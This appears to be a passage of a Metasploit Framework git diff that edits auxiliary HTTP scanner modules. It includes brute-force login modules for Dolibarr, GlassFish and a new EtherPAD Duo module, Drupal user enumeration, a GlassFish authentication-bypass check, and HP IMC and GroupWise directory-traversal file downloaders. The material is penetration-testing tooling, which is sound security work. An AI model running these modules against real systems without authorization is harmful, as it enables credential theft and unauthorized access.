b/modules/auxiliary/scanner/http/dir_webdav_unicode_bypass.rb index f74bf8f52d..36f44b069b 100644 --- a/modules/auxiliary/scanner/http/dir_webdav_unicode_bypass.rb +++ b/modules/auxiliary/scanner/http/dir_webdav_unicode_bypass.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/http/dlink_dir_300_615_http_login.rb b/modules/auxiliary/scanner/http/dlink_dir_300_615_http_login.rb index 9132a41b25..4f90e4460d 100644 --- a/modules/auxiliary/scanner/http/dlink_dir_300_615_http_login.rb +++ b/modules/auxiliary/scanner/http/dlink_dir_300_615_http_login.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/http/dlink_dir_615h_http_login.rb b/modules/auxiliary/scanner/http/dlink_dir_615h_http_login.rb index 1880616752..b8bf3c7602 100644 --- a/modules/auxiliary/scanner/http/dlink_dir_615h_http_login.rb +++ b/modules/auxiliary/scanner/http/dlink_dir_615h_http_login.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/http/dlink_dir_session_cgi_http_login.rb b/modules/auxiliary/scanner/http/dlink_dir_session_cgi_http_login.rb index 709e4fef03..8802e1cef6 100644 --- a/modules/auxiliary/scanner/http/dlink_dir_session_cgi_http_login.rb +++ b/modules/auxiliary/scanner/http/dlink_dir_session_cgi_http_login.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/http/dlink_user_agent_backdoor.rb b/modules/auxiliary/scanner/http/dlink_user_agent_backdoor.rb index 98ab17eb17..eaa5fe9a76 100644 --- a/modules/auxiliary/scanner/http/dlink_user_agent_backdoor.rb +++ b/modules/auxiliary/scanner/http/dlink_user_agent_backdoor.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/http/dolibarr_login.rb b/modules/auxiliary/scanner/http/dolibarr_login.rb index 11bebc738e..c4a35015b7 100644 --- a/modules/auxiliary/scanner/http/dolibarr_login.rb +++ b/modules/auxiliary/scanner/http/dolibarr_login.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -10,10 +10,11 @@ class Metasploit3 < Msf::Auxiliary include Msf::Auxiliary::Report include Msf::Exploit::Remote::HttpClient include Msf::Auxiliary::AuthBrute + include Msf::Auxiliary::Scanner def initialize(info = {}) super(update_info(info, - 'Name' => 'Dolibarr ERP & CRM 3 Login Utility', + 'Name' => 'Dolibarr ERP/CRM Login Utility', 'Description' => %q{ This module attempts to authenticate to a Dolibarr ERP/CRM's admin web interface, and should only work against version 3.1.1 or older, because these versions do not @@ -39,13 +40,13 @@ class Metasploit3 < Msf::Auxiliary def get_sid_token res = send_request_raw({ 'method' => 'GET', - 'uri' => normalize_uri(@uri.path) + 'uri' => normalize_uri(@uri) }) - return [nil, nil] if not (res and res.headers['Set-Cookie']) + return [nil, nil] if res.nil? || res.get_cookies.empty? # Get the session ID from the cookie - m = res.headers['Set-Cookie'].match(/(DOLSESSID_.+);/) + m = get_cookies.match(/(DOLSESSID_.+);/) id = (m.nil?) ? nil : m[1] # Get the token from the decompressed HTTP body response @@ -62,7 +63,7 @@ class Metasploit3 < Msf::Auxiliary # sid, token = get_sid_token if sid.nil? or token.nil? - print_error("#{peer} - Unable to obtain session ID or token, cannot continue") + vprint_error("#{peer} - Unable to obtain session ID or token, cannot continue") return :abort else vprint_status("#{peer} - Using sessiond ID: #{sid}") @@ -72,7 +73,7 @@ class Metasploit3 < Msf::Auxiliary begin res = send_request_cgi({ 'method' => 'POST', - 'uri' => normalize_uri("#{@uri.path}index.php"), + 'uri' => normalize_uri("#{@uri}index.php"), 'cookie' => sid, 'vars_post' => { 'token' => token, @@ -91,7 +92,7 @@ class Metasploit3 < Msf::Auxiliary end if res.nil? - print_error("#{peer} - Connection timed out") + vprint_error("#{peer} - Connection timed out") return :abort end @@ -116,8 +117,12 @@ class Metasploit3 < Msf::Auxiliary def run @uri = target_uri.path - @uri.path << "/" if @uri.path[-1, 1] != "/" + @uri << "/" if @uri[-1, 1] != "/" + super + end + + def run_host(ip) each_user_pass { |user, pass| vprint_status("#{peer} - Trying \"#{user}:#{pass}\"") do_login(user, pass) diff --git a/modules/auxiliary/scanner/http/drupal_views_user_enum.rb b/modules/auxiliary/scanner/http/drupal_views_user_enum.rb index a4c4cb34ed..0192a19d5e 100644 --- a/modules/auxiliary/scanner/http/drupal_views_user_enum.rb +++ b/modules/auxiliary/scanner/http/drupal_views_user_enum.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -35,11 +35,15 @@ class Metasploit3 < Msf::Auxiliary register_options( [ - OptString.new('PATH', [true, "Drupal Path", "/"]) + OptString.new('TARGETURI', [true, "Drupal Path", "/"]) ], self.class) end - def check(base_uri) + def base_uri + @base_uri ||= "#{normalize_uri(target_uri.path)}?q=admin/views/ajax/autocomplete/user/" + end + + def check_host(ip) res = send_request_cgi({ 'uri' => base_uri, 'method' => 'GET', @@ -47,31 +51,21 @@ class Metasploit3 < Msf::Auxiliary }, 25) if not res - return false + return Exploit::CheckCode::Unknown elsif res and res.body =~ /\<title\>Access denied/ # This probably means the Views Module actually isn't installed - print_error("#{rhost} - Access denied") - return false + vprint_error("#{rhost} - Access denied") + return Exploit::CheckCode::Safe elsif res and res.message != 'OK' or res.body != '[ ]' - return false + return Exploit::CheckCode::Safe else - return true + return Exploit::CheckCode::Appears end end def run_host(ip) - # Make sure the URIPATH begins with '/' - datastore['PATH'] = normalize_uri(datastore['PATH']) - - # Make sure the URIPATH ends with / - if datastore['PATH'][-1,1] != '/' - datastore['PATH'] = datastore['PATH'] + '/' - end - - enum_uri = datastore['PATH'] + "?q=admin/views/ajax/autocomplete/user/" - # Check if remote host is available or appears vulnerable - if not check(enum_uri) + unless check_host(ip) == Exploit::CheckCode::Appears print_error("#{ip} does not appear to be vulnerable, will not continue") return end @@ -83,7 +77,7 @@ class Metasploit3 < Msf::Auxiliary vprint_status("Iterating on letter: #{l}") res = send_request_cgi({ - 'uri' => enum_uri+l, + 'uri' => base_uri+l, 'method' => 'GET', 'headers' => { 'Connection' => 'Close' } }, 25) diff --git a/modules/auxiliary/scanner/http/ektron_cms400net.rb b/modules/auxiliary/scanner/http/ektron_cms400net.rb index b485a56609..b6dd8c5391 100644 --- a/modules/auxiliary/scanner/http/ektron_cms400net.rb +++ b/modules/auxiliary/scanner/http/ektron_cms400net.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -93,7 +93,7 @@ class Metasploit3 < Msf::Auxiliary eventvalidation = "" end - GetVersion() + get_version print_status "Testing passwords at #{target_url}" each_user_pass { |user, pass| @@ -109,7 +109,7 @@ class Metasploit3 < Msf::Auxiliary end end - def GetVersion + def get_version #Attempt to retrieve the version of CMS400.NET installed. #Not always possible based on version/config. payload = "http://#{vhost}:#{rport}/WorkArea/java/ektron.site-data.js.ashx" @@ -124,11 +124,11 @@ class Metasploit3 < Msf::Auxiliary end end - def do_login(user=nil, pass=nil, viewstate=viewstate, eventvalidation=eventvalidation) + def do_login(user=nil, pass=nil, viewstate_arg=viewstate, eventvalidation_arg=eventvalidation) vprint_status("#{target_url} - Trying: username:'#{user}' with password:'#{pass}'") - post_data = "__VIEWSTATE=#{Rex::Text.uri_encode(viewstate.to_s)}" - post_data << "&__EVENTVALIDATION=#{Rex::Text.uri_encode(eventvalidation.to_s)}" + post_data = "__VIEWSTATE=#{Rex::Text.uri_encode(viewstate_arg.to_s)}" + post_data << "&__EVENTVALIDATION=#{Rex::Text.uri_encode(eventvalidation_arg.to_s)}" post_data << "&username=#{Rex::Text.uri_encode(user.to_s)}" post_data << "&password=#{Rex::Text.uri_encode(pass.to_s)}" diff --git a/modules/auxiliary/scanner/http/enum_wayback.rb b/modules/auxiliary/scanner/http/enum_wayback.rb index c0b3873117..d15f58d6b0 100644 --- a/modules/auxiliary/scanner/http/enum_wayback.rb +++ b/modules/auxiliary/scanner/http/enum_wayback.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/http/error_sql_injection.rb b/modules/auxiliary/scanner/http/error_sql_injection.rb index 298a680a26..fd0a168ace 100644 --- a/modules/auxiliary/scanner/http/error_sql_injection.rb +++ b/modules/auxiliary/scanner/http/error_sql_injection.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/http/etherpad_duo_login.rb b/modules/auxiliary/scanner/http/etherpad_duo_login.rb new file mode 100644 index 0000000000..bbf067d4df --- /dev/null +++ b/modules/auxiliary/scanner/http/etherpad_duo_login.rb @@ -0,0 +1,105 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit3 < Msf::Auxiliary + include Msf::Exploit::Remote::HttpClient + include Msf::Auxiliary::Report + include Msf::Auxiliary::AuthBrute + include Msf::Auxiliary::Scanner + + def initialize(info={}) + super(update_info(info, + 'Name' => 'EtherPAD Duo Login Bruteforce Utility', + 'Description' => %{ + This module scans for EtherPAD Duo login portal, and + performs a login bruteforce attack to identify valid credentials. + }, + 'Author' => + [ + 'Karn Ganeshen <KarnGaneshen[at]gmail.com>', + ], + 'License' => MSF_LICENSE + )) + + end + + def run_host(ip) + unless is_app_epaduo? + return + end + + print_status("#{peer} - Starting login bruteforce...") + each_user_pass do |user, pass| + do_login(user, pass) + end + end + + # + # What's the point of running this module if the target actually isn't EtherPAD Duo + # + + def is_app_epaduo? + begin + res = send_request_cgi( + { + 'uri' => normalize_uri('/', 'CGI', 'mParseCGI'), + 'method' => 'GET', + 'vars_get' => { + 'file' => 'mainpage.html' + } + }) + rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionError + vprint_error("#{peer} - HTTP Connection Failed...") + return false + end + + if (res and res.code == 200 and res.headers['Server'].include?("EtherPAD") and res.body.include?("EtherPAD Duo")) + vprint_good("#{peer} - Running EtherPAD Duo application ...") + return true + else + vprint_error("#{peer} - Application is not EtherPAD Duo. Module will not continue.") + return false + end + end + + # + # Brute-force the login page + # + + def do_login(user, pass) + vprint_status("#{peer} - Trying username:#{user.inspect} with password:#{pass.inspect}") + + begin + res = send_request_cgi( + { + 'uri' => normalize_uri('/', 'config', 'configindex.ehtml'), + 'method' => 'GET', + 'authorization' => basic_auth(user, pass) + }) + rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionError, ::Errno::EPIPE + vprint_error("#{peer} - HTTP Connection Failed...") + return :abort + end + + if res && res.code == 200 && res.body.include?("Home Page") && res.headers['Server'] && res.headers['Server'].include?("EtherPAD") + print_good("#{peer} - SUCCESSFUL LOGIN - #{user.inspect}:#{pass.inspect}") + report_hash = { + :host => rhost, + :port => rport, + :sname => 'EtherPAD Duo Portal', + :user => user, + :pass => pass, + :active => true, + :type => 'password' + } + report_auth_info(report_hash) + return :next_user + else + vprint_error("#{peer} - FAILED LOGIN - #{user.inspect}:#{pass.inspect}") + end + end +end diff --git a/modules/auxiliary/scanner/http/file_same_name_dir.rb b/modules/auxiliary/scanner/http/file_same_name_dir.rb index 533ad098b3..b203939b13 100644 --- a/modules/auxiliary/scanner/http/file_same_name_dir.rb +++ b/modules/auxiliary/scanner/http/file_same_name_dir.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/http/files_dir.rb b/modules/auxiliary/scanner/http/files_dir.rb index 9f9a928caa..1073747319 100644 --- a/modules/auxiliary/scanner/http/files_dir.rb +++ b/modules/auxiliary/scanner/http/files_dir.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/http/frontpage_login.rb b/modules/auxiliary/scanner/http/frontpage_login.rb index a02821317a..a690c8e661 100644 --- a/modules/auxiliary/scanner/http/frontpage_login.rb +++ b/modules/auxiliary/scanner/http/frontpage_login.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -48,7 +48,7 @@ class Metasploit3 < Msf::Auxiliary connect sock.put("GET /_vti_inf.html HTTP/1.1\r\n" + "TE: deflate,gzip;q=0.3\r\n" + "Keep-Alive: 300\r\n" + - "Connection: Keep-Alive, TE\r\n" + "Host: #{target_host}\r\n" + "User-Agent: " + + "Connection: Keep-Alive, TE\r\n" + "Host: #{vhost}\r\n" + "User-Agent: " + datastore['UserAgent'] + "\r\n\r\n") res = sock.get_once || '' @@ -95,8 +95,9 @@ class Metasploit3 < Msf::Auxiliary method = "method=open+service:#{fpversion}&service_name=/" req = "POST /_vti_bin/_vti_aut/author.dll HTTP/1.1\r\n" + "TE: deflate,gzip;q=0.3\r\n" + - "Keep-Alive: 300\r\n" + "Connection: Keep-Alive, TE\r\n" + "Host: #{target_host}\r\n" + + "Keep-Alive: 300\r\n" + "Connection: Keep-Alive, TE\r\n" + "Host: #{vhost}\r\n" + "User-Agent: " + datastore['UserAgent'] + "\r\n" + "Content-Type: application/x-www-form-urlencoded\r\n" + + "X-Vermeer-Content-Type: application/x-www-form-urlencoded" + "\r\n" + "Content-Length: #{method.length}\r\n\r\n" + method + "\r\n\r\n" sock.put(req) diff --git a/modules/auxiliary/scanner/http/glassfish_login.rb b/modules/auxiliary/scanner/http/glassfish_login.rb index aa2dab6a0b..46cd3445bc 100644 --- a/modules/auxiliary/scanner/http/glassfish_login.rb +++ b/modules/auxiliary/scanner/http/glassfish_login.rb @@ -1,9 +1,11 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' +require 'metasploit/framework/login_scanner/glassfish' +require 'metasploit/framework/credential_collection' class Metasploit3 < Msf::Auxiliary @@ -16,217 +18,191 @@ class Metasploit3 < Msf::Auxiliary super( 'Name' => 'GlassFish Brute Force Utility', 'Description' => %q{ - This module attempts to login to GlassFish instance using username - and password combindations indicated by the USER_FILE, PASS_FILE, - and USERPASS_FILE options. + This module attempts to login to GlassFish instance using username and password + combindations indicated by the USER_FILE, PASS_FILE, and USERPASS_FILE options. + It will also try to do an authentication bypass against older versions of GlassFish. + Note: by default, GlassFish 4.0 requires HTTPS, which means you must set the SSL option + to true, and SSLVersion to TLS1. It also needs Secure Admin to access the DAS remotely. }, 'Author' => [ - 'Joshua Abraham <jabra[at]rapid7.com>' + 'Joshua Abraham <jabra[at]spl0it.org>', # @Jabra + 'sinn3r' ], 'References' => [ ['CVE', '2011-0807'], - ['OSVDB', '71948'], + ['OSVDB', '71948'] ], 'License' => MSF_LICENSE ) register_options( [ + # There is no TARGETURI because when Glassfish is installed, the path is / Opt::RPORT(4848), - OptString.new('TARGETURI', [true, 'The URI path of the GlassFish Server', '/']), OptString.new('USERNAME',[true, 'A specific username to authenticate as','admin']), + OptBool.new('SSL', [false, 'Negotiate SSL for outgoing connections', false]), + OptEnum.new('SSLVersion', [false, 'Specify the version of SSL that should be used', 'TLS1', ['SSL2', 'SSL3', 'TLS1']]) ], self.class) end # - # Return GlassFish's edition (Open Source or Commercial) and version (2.x, 3.0, 3.1, 9.x) and - # banner (ex: Sun Java System Application Server 9.x) + # Module tracks the session id, and then it will have to pass the last known session id to + # the LoginScanner class so the authentication can proceed properly # - def get_version(res) - #Extract banner from response - banner = res.headers['Server'] || '' - #Default value for edition and glassfish version - edition = 'Commercial' - version = 'Unknown' - - #Set edition (Open Source or Commercial) - p = /(Open Source|Sun GlassFish Enterprise Server|Sun Java System Application Server)/ - edition = 'Open Source' if banner =~ p - - #Set version. Some GlassFish servers return banner "GlassFish v3". - if banner =~ /(GlassFish Server|Open Source Edition) (\d\.\d)/ - version = $2 - elsif banner =~ /GlassFish v(\d)/ and version.nil? - version = $1 - elsif banner =~ /Sun GlassFish Enterprise Server v2/ and version.nil? - version = '2.x' - elsif banner =~ /Sun Java System Application Server 9/ and version.nil? - version = '9.x' - end - - print_status("Unsupported version: #{banner}") if version.nil? or version == 'Unknown' - - return edition, version, banner - end - - def log_success(user,pass) - print_good("#{target_host()} - GlassFish - SUCCESSFUL login for '#{user}' : '#{pass}'") - report_auth_info( - :host => rhost, - :port => rport, - :sname => (ssl ? 'https' : 'http'), - :user => user, - :pass => pass, - :proof => "WEBAPP=\"GlassFish\", VHOST=#{vhost}", - :source_type => "user_supplied", - :active => true - ) + # Overrides the ssl method from HttpClient + def ssl + @scanner.ssl || datastore['SSL'] end # - # Send GET or POST request, and return the response + # For a while, older versions of Glassfish didn't need to set a password for admin, + # but looks like no longer the case anymore, which means this method is getting useless + # (last tested: Aug 2014) # - def send_request(path, method, session='', data=nil, ctype=nil) - - headers = {} - headers['Cookie'] = "JSESSIONID=#{session}" if session != '' - headers['Content-Type'] = ctype if ctype != nil - headers['Content-Length'] = data.length if data != nil - - uri = normalize_uri(target_uri.path) - res = send_request_raw({ - 'uri' => "#{uri}#{path}", - 'method' => method, - 'data' => data, - 'headers' => headers, - }, 90) - - return res - end - - # - # Try to login to Glassfish with a credential, and return the response - # - def try_login(user, pass) - data = "j_username=#{Rex::Text.uri_encode(user.to_s)}&" - data << "j_password=#{Rex::Text.uri_encode(pass.to_s)}&" - data << "loginButton=Login" - - path = '/j_security_check' - res = send_request(path, 'POST', '', data, 'application/x-www-form-urlencoded') - - return res - end - - def try_glassfish_auth_bypass(version) - print_status("Trying GlassFish authentication bypass..") + def is_password_required?(version) success = false - if version == '2.x' or version == '9.x' - res = send_request('/applications/upload.jsf', 'get') + if version =~ /^[29]\.x$/ + res = send_request_cgi({'uri'=>'/applications/upload.jsf'}) p = /<title>Deploy Enterprise Applications\/Modules/ - if (res and res.code.to_i == 200 and res.body.match(p) != nil) + if (res && res.code.to_i == 200 && res.body.match(p) != nil) success = true end - else - # 3.0 - res = send_request('/common/applications/uploadFrame.jsf', 'get') + elsif version =~ /^3\./ + res = send_request_cgi({'uri'=>'/common/applications/uploadFrame.jsf'}) p = /<title>Deploy Applications or Modules/ - if (res and res.code.to_i == 200 and res.body.match(p) != nil) + if (res && res.code.to_i == 200 && res.body.match(p) != nil) success = true end end - if success == true - print_good("#{target_host} - GlassFish - SUCCESSFUL authentication bypass") - report_auth_info( - :host => rhost, - :port => rport, - :sname => (ssl ? 'https' : 'http'), - :user => '', - :pass => '', - :proof => "WEBAPP=\"GlassFish\", VHOST=#{vhost}", - :source_type => "user_supplied", - :active => true - ) - else - print_error("#{target_host()} - GlassFish - Failed authentication bypass") - end - - return success + success end - def try_glassfish_login(version,user,pass) - success = false - session = '' - res = '' - if version == '2.x' or version == '9.x' - print_status("Trying credential GlassFish 2.x #{user}:'#{pass}'....") - res = try_login(user,pass) - if res and res.code == 302 - session = $1 if (res and res.headers['Set-Cookie'] =~ /JSESSIONID=(.*); /i) - res = send_request('/applications/upload.jsf', 'GET', session) - p = /<title>Deploy Enterprise Applications\/Modules/ - if (res and res.code.to_i == 200 and res.body.match(p) != nil) - success = true - end - end + def init_loginscanner(ip) + @cred_collection = Metasploit::Framework::CredentialCollection.new( + blank_passwords: datastore['BLANK_PASSWORDS'], + pass_file: datastore['PASS_FILE'], + password: datastore['PASSWORD'], + user_file: datastore['USER_FILE'], + userpass_file: datastore['USERPASS_FILE'], + username: datastore['USERNAME'], + user_as_pass: datastore['USER_AS_PASS'] + ) - else - print_status("Trying credential GlassFish 3.x #{user}:'#{pass}'....") - res = try_login(user,pass) - if res and res.code == 302 - session = $1 if (res and res.headers['Set-Cookie'] =~ /JSESSIONID=(.*); /i) - res = send_request('/common/applications/uploadFrame.jsf', 'GET', session) + @scanner = Metasploit::Framework::LoginScanner::Glassfish.new( + host: ip, + port: rport, + proxies: datastore["PROXIES"], + cred_details: @cred_collection, + stop_on_success: datastore['STOP_ON_SUCCESS'], + bruteforce_speed: datastore['BRUTEFORCE_SPEED'], + connection_timeout: 5, + framework: framework, + framework_module: self, + ) - p = /<title>Deploy Applications or Modules/ - if (res and res.code.to_i == 200 and res.body.match(p) != nil) - success = true - end - end - end - - if success == true - log_success(user,pass) - else - msg = "#{target_host()} - GlassFish - Failed to authenticate login for '#{user}' : '#{pass}'" - print_error(msg) - end - - return success, res, session + @scanner.ssl = datastore['SSL'] + @scanner.ssl_version = datastore['SSLVERSION'] end + def do_report(ip, port, result) + service_data = { + address: ip, + port: port, + service_name: 'http', + protocol: 'tcp', + workspace_id: myworkspace_id + } + + credential_data = { + module_fullname: self.fullname, + origin_type: :service, + private_data: result.credential.private, + private_type: :password, + username: result.credential.public, + }.merge(service_data) + + credential_core = create_credential(credential_data) + + login_data = { + core: credential_core, + last_attempted_at: DateTime.now, + status: result.status + }.merge(service_data) + + create_credential_login(login_data) + end + + def bruteforce(ip) + @scanner.scan! do |result| + case result.status + when Metasploit::Model::Login::Status::SUCCESSFUL + print_brute :level => :good, :ip => ip, :msg => "Success: '#{result.credential}'" + do_report(ip, rport, result) + :next_user + when Metasploit::Model::Login::Status::DENIED_ACCESS + print_brute :level => :status, :ip => ip, :msg => "Correct credentials, but unable to login: '#{result.credential}'" + do_report(ip, rport, result) + :next_user + when Metasploit::Model::Login::Status::UNABLE_TO_CONNECT + if datastore['VERBOSE'] + print_brute :level => :verror, :ip => ip, :msg => "Could not connect" + end + invalidate_login( + address: ip, + port: rport, + protocol: 'tcp', + public: result.credential.public, + private: result.credential.private, + realm_key: result.credential.realm_key, + realm_value: result.credential.realm, + status: result.status + ) + :abort + when Metasploit::Model::Login::Status::INCORRECT + if datastore['VERBOSE'] + print_brute :level => :verror, :ip => ip, :msg => "Failed: '#{result.credential}'" + end + invalidate_login( + address: ip, + port: rport, + protocol: 'tcp', + public: result.credential.public, + private: result.credential.private, + realm_key: result.credential.realm_key, + realm_value: result.credential.realm, + status: result.status + ) + end + end + end + + + + # + # main + # def run_host(ip) - #Invoke index to gather some info - res = send_request('/common/index.jsf', 'GET') - - #Abort if res returns nil due to an exception (broken pipe or timeout) - if res.nil? - print_error("Unable to get a response from the server.") + init_loginscanner(ip) + msg = @scanner.check_setup + if msg + print_brute :level => :error, :ip => rhost, :msg => msg return end - if res.code.to_i == 302 - res = send_request('/login.jsf', 'GET') + print_brute :level=>:status, :ip=>rhost, :msg=>('Checking if Glassfish requires a password...') + if @scanner.version =~ /^[239]\.x$/ && is_password_required?(@scanner.version) + print_brute :level => :good, :ip => ip, :msg => "Note: This Glassfish does not require a password" + else + print_brute :level=>:status, :ip=>rhost, :msg=>("Glassfish is protected with a password") end - #Get GlassFish version - edition, version, banner = get_version(res) - path = normalize_uri(target_uri.path) - target_url = "http://#{rhost.to_s}:#{rport.to_s}/#{path.to_s}" - print_status("#{target_url} - GlassFish - Attempting authentication") - - if (version == '2.x' or version == '9.x' or version == '3.0') - try_glassfish_auth_bypass(version) - end - - each_user_pass do |user, pass| - try_glassfish_login(version, user, pass) - end + bruteforce(ip) unless @scanner.version.blank? end end diff --git a/modules/auxiliary/scanner/http/groupwise_agents_http_traversal.rb b/modules/auxiliary/scanner/http/groupwise_agents_http_traversal.rb index d06884238b..2fde2d1901 100644 --- a/modules/auxiliary/scanner/http/groupwise_agents_http_traversal.rb +++ b/modules/auxiliary/scanner/http/groupwise_agents_http_traversal.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -38,7 +38,7 @@ class Metasploit3 < Msf::Auxiliary register_options( [ Opt::RPORT(7181), # Also 7180 can be used - OptString.new('FILEPATH', [true, 'The name of the file to download', '/boot.ini']), + OptString.new('FILEPATH', [true, 'The name of the file to download', '/windows\\win.ini']), OptInt.new('DEPTH', [true, 'Traversal depth if absolute is set to false', 10]) ], self.class) end diff --git a/modules/auxiliary/scanner/http/hp_imc_bims_downloadservlet_traversal.rb b/modules/auxiliary/scanner/http/hp_imc_bims_downloadservlet_traversal.rb index aa3f8d162f..3339ef4e3b 100644 --- a/modules/auxiliary/scanner/http/hp_imc_bims_downloadservlet_traversal.rb +++ b/modules/auxiliary/scanner/http/hp_imc_bims_downloadservlet_traversal.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -40,7 +40,7 @@ class Metasploit3 < Msf::Auxiliary [ Opt::RPORT(8080), OptString.new('TARGETURI', [true, 'Path to HP Intelligent Management Center', '/imc']), - OptString.new('FILEPATH', [true, 'The name of the file to download', '/boot.ini']), + OptString.new('FILEPATH', [true, 'The name of the file to download', '/windows\\win.ini']), # By default files downloaded from C:\Program Files\iMC\client\web\apps\imc\ OptInt.new('DEPTH', [true, 'Traversal depth', 6]) ], self.class) diff --git a/modules/auxiliary/scanner/http/hp_imc_faultdownloadservlet_traversal.rb b/modules/auxiliary/scanner/http/hp_imc_faultdownloadservlet_traversal.rb index e2fb7b6c70..1acddfa9d5 100644 --- a/modules/auxiliary/scanner/http/hp_imc_faultdownloadservlet_traversal.rb +++ b/modules/auxiliary/scanner/http/hp_imc_faultdownloadservlet_traversal.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -39,7 +39,7 @@ class Metasploit3 < Msf::Auxiliary [ Opt::RPORT(8080), OptString.new('TARGETURI', [true, 'Path to HP Intelligent Management Center', '/imc']), - OptString.new('FILEPATH', [true, 'The name of the file to download', '/boot.ini']), + OptString.new('FILEPATH', [true, 'The name of the file to download', '/windows\\win.ini']), # By default files downloaded from C:\Program Files\iMC\client\web\apps\imc\tmp\ OptInt.new('DEPTH', [true, 'Traversal depth', 7]) ], self.class) diff --git a/modules/auxiliary/scanner/http/hp_imc_ictdownloadservlet_traversal.rb b/modules/auxiliary/scanner/http/hp_imc_ictdownloadservlet_traversal.rb index 2bed6856e2..bb3859b313 100644 --- a/modules/auxiliary/scanner/http/hp_imc_ictdownloadservlet_traversal.rb +++ b/modules/auxiliary/scanner/http/hp_imc_ictdownloadservlet_traversal.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -39,7 +39,7 @@ class Metasploit3 < Msf::Auxiliary [ Opt::RPORT(8080), OptString.new('TARGETURI', [true, 'Path to HP Intelligent Management Center', '/imc']), - OptString.new('FILEPATH', [true, 'The name of the file to download', '/boot.ini']), + OptString.new('FILEPATH', [true, 'The name of the file to download', '/windows\\win.ini']), # By default files downloaded from C:\Program Files\iMC\client\web\apps\imc\tmp\ OptInt.new('DEPTH', [true, 'Traversal depth', 7]) ], self.class) diff --git a/modules/auxiliary/scanner/http/hp_imc_reportimgservlt_traversal.rb b/modules/auxiliary/scanner/http/hp_imc_reportimgservlt_traversal.rb index 2f0dee051d..81f4519f49 100644 --- a/modules/auxiliary/scanner/http/hp_imc_reportimgservlt_traversal.rb +++ b/modules/auxiliary/scanner/http/hp_imc_reportimgservlt_traversal.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -39,7 +39,7 @@ class Metasploit3 < Msf::Auxiliary [ Opt::RPORT(8080), OptString.new('TARGETURI', [true, 'Path to HP Intelligent Management Center', '/imc']), - OptString.new('FILEPATH', [true, 'The name of the file to download', '/boot.ini']), + OptString.new('FILEPATH', [true, 'The name of the file to download', '/windows\\win.ini']), # By default files downloaded from C:\Program Files\iMC\client\bin\ OptInt.new('DEPTH', [true, 'Traversal depth', 4]) ], self.class) diff --git a/modules/auxiliary/scanner/http/hp_imc_som_file_download.rb b/modules/auxiliary/scanner/http/hp_imc_som_file_download.rb index 43ab32f55d..ec3c90c5c6 100644 --- a/modules/auxiliary/scanner/http/hp_imc_som_file_download.rb +++ b/modules/auxiliary/scanner/http/hp_imc_som_file_download.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: 